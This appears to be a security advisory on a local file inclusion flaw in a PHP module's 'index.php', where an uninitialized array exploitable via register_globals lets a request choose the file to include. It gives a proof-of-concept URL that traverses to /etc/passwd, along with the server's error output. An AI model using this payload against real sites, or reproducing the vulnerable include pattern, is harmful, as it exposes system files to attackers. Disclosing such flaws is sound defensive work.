Vulnerabilities: Local File Inclusion in "index.php" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Let's take a peek at source code of "index.php":

------------>[source code]<------------

include("header.php"); ... $ACCEPT_FILE['Acid_house.html'] = 'Acid_house.html'; $ACCEPT_FILE['Alternative_dance.html'] = 'Alternative_dance.html'; $ACCEPT_FILE['Ambient_house.html'] = 'Ambient_house.html'; ... $page = $_GET['page']; ... $pagename = $ACCEPT_FILE[$page]; if (!isSet($pagename)) $pagename = "index.html"; include("modules/Dance_Music-MM/$pagename");

------------>[/source code]<-----------

As we can see, "$ACCEPT_FILE" array is uninitialized, so we can insert there arbitrary values from $_GET/$_POST/$_COOKIES parameters, if "register_globals" is active.

Proof-of-concept test:

http://victim.com/modules.php?name=Dance_Music-MM&page=1 &ACCEPT_FILE[1]=../../../../../../../../../etc/passwd

Warning: main() [function.main]: open_basedir restriction in effect. File(./modules/Dance_Music-MM/../../../../../../../../../../../../etc/passwd ) is not within the allowed path(s): (/home/www/web32/) in /home/www/web32/html/portal/modules/Dance_Music-MM/index.php on line 154

So local file inclusion exists, but safe mode can make exploiting harder.
